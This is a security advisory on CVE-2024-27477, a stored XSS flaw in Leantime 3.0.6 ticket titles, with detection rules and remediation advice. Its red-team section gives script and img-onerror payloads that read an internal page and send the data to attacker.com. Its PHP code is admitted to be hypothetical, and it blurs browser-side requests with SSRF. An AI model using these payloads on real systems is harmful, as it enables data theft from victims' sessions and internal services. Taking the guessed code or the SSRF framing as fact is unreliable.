CVE-2024-27477

Executive Summary

CVE-2024-27477 is a stored Cross-Site Scripting (XSS) vulnerability identified in Leantime version 3.0.6, an open-source project management tool. The flaw resides in the ticket creation and modification functionality, where an attacker can inject malicious JavaScript code into the title field of tickets (also known as to-dos). This stored XSS can be leveraged to perform Server-Side Request Forgery (SSRF) attacks, potentially allowing an attacker to interact with internal systems, exfiltrate sensitive data, or pivot within the network. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is significant due to the combination of XSS and SSRF capabilities. No official patch or advisory has been released by the vendor at this time.

Supply Chain & Package Security

Leantime is a PHP-based application, typically deployed via Docker, manual installation, or package managers like Composer. The vulnerability affects the core application logic, not a specific third-party package. However, organizations using Leantime should verify their deployment method and ensure no custom plugins or themes introduce additional attack surface. The lack of a patch means that supply chain security relies on manual code review and temporary mitigations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with permission to create or modify tickets.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the ticket.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., internal network via SSRF).
• Confidentiality (C): High (H) – SSRF can expose internal services and data.
• Integrity (I): High (H) – The attacker can modify internal resources or perform actions on behalf of the server.
• Availability (A): Low (L) – SSRF could cause denial of service to internal services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L Estimated Score: 9.0 (Critical)

Threat Level: Critical – Exploitation is straightforward, and the impact includes data exfiltration and lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the ticket creation and modification functionality of Leantime 3.0.6. When a user creates or edits a ticket (to-do), the title field is not properly sanitized before being stored in the database and later rendered in the browser. An attacker can inject arbitrary HTML and JavaScript into the title field, which will be executed when any user views the ticket list or the ticket details page.

The stored XSS can be escalated to SSRF by using JavaScript to make HTTP requests from the victim's browser to internal network resources. For example, the injected script can use fetch() or XMLHttpRequest to interact with internal services like databases, cloud metadata endpoints, or other internal applications. Since the request originates from the victim's browser, it can bypass network segmentation and access internal resources that are not exposed to the internet.

Attack Flow:

1. Attacker logs in with a valid user account.
2. Attacker creates a new ticket with a malicious payload in the title field, e.g., <img src=x onerror="fetch('http://internal-service/admin')">.
3. The payload is stored in the database without sanitization.
4. When a victim (e.g., another user or admin) views the ticket list, the payload executes in their browser.
5. The JavaScript makes a request to an internal service, potentially exfiltrating data or performing actions.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the ticket creation/editing controller and the view rendering logic. The following is a hypothetical comparison based on common XSS vulnerabilities.

Vulnerable Code (PHP - Leantime 3.0.6):

// In TicketController.php
public function createTicket($data) {
    $title = $data['title']; // No sanitization
    $this->ticketRepository->create(['title' => $title]);
}

// In view rendering (e.g., ticketList.php)
echo "<td>" . $ticket['title'] . "</td>"; // Direct output without escaping

Patched Code (Hypothetical):

// In TicketController.php
public function createTicket($data) {
    $title = htmlspecialchars($data['title'], ENT_QUOTES, 'UTF-8'); // Sanitize input
    $this->ticketRepository->create(['title' => $title]);
}

// In view rendering (e.g., ticketList.php)
echo "<td>" . htmlspecialchars($ticket['title'], ENT_QUOTES, 'UTF-8') . "</td>"; // Escape output

The patch should use htmlspecialchars() or a similar function to escape HTML entities, preventing script execution. Additionally, a Content Security Policy (CSP) should be implemented to mitigate XSS even if injection occurs.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Leantime 3.0.6.
• Valid user credentials with permission to create tickets.

Exploit Payload:

<script>
fetch('http://internal-service.local/admin', {
    method: 'GET',
    credentials: 'include'
}).then(response => response.text()).then(data => {
    fetch('http://attacker.com/exfil?data=' + btoa(data));
});
</script>

Steps:

1. Log in to Leantime.
2. Navigate to the ticket creation page.
3. In the title field, enter the payload above.
4. Submit the ticket.
5. Wait for a victim to view the ticket list or details.
6. The victim's browser will execute the script, sending a request to the internal service and exfiltrating the response to the attacker's server.

Alternative Payload (SSRF via Image Tag):

<img src="http://internal-service/admin" onerror="fetch('http://attacker.com/log?error=' + this.src)">

Blue Team (Defensive)

Detection:

• Monitor for unusual ticket titles containing <script>, <img>, or other HTML tags.
• Use web application firewalls (WAF) to block XSS payloads in input fields.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input sanitization and output encoding as described in the patched code section.
• Restrict outbound network access from the Leantime server to prevent SSRF.
• Use a reverse proxy to filter malicious requests.

Lab Setup:

• Deploy Leantime 3.0.6 in a Docker container.
• Set up a simple internal service (e.g., a Python HTTP server) to simulate SSRF targets.
• Use a browser with developer tools to observe XSS execution.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests from the Leantime server to internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) that are not part of normal operations.
• Requests to cloud metadata endpoints (e.g., http://169.254.169.254/).
• Unusual User-Agent strings or referrer headers in internal requests.

Host IOCs:

• Database entries in the tickets table with titles containing HTML tags or JavaScript code.
• Log entries showing failed validation attempts for ticket titles.

File IOCs:

• Modified or suspicious files in the Leantime installation directory (e.g., app/controllers/TicketController.php).

Detection Engineering

YARA Rule

rule CVE_2024_27477_Leantime_XSS {
    meta:
        description = "Detects stored XSS payloads in Leantime ticket titles"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27477"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Leantime Stored XSS in Ticket Title
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in Leantime ticket titles
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27477
logsource:
    category: application
    product: leantime
detection:
    selection:
        event: ticket_created
        title|contains:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in ticket titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27477 Leantime Stored XSS to SSRF"; flow:to_server,established; content:"POST"; http_method; content:"/tickets/create"; http_uri; content:"title"; http_client_body; pcre:"/<script|<img|onerror|onload|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable ticket creation/modification for untrusted users until a patch is applied.
2. Implement a Web Application Firewall (WAF) to block XSS payloads in the title field.
3. Add a Content Security Policy (CSP) header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Restrict outbound network access from the Leantime server using firewall rules to prevent SSRF.

Long-Term Fix:

• Apply input sanitization and output encoding in the ticket creation/modification code.
• Use a parameterized or templated approach to render user input.
• Regularly update Leantime to the latest version once a patch is released.

Workaround:

• Manually patch the code by adding htmlspecialchars() to the title field in both the controller and view files.

Valters IT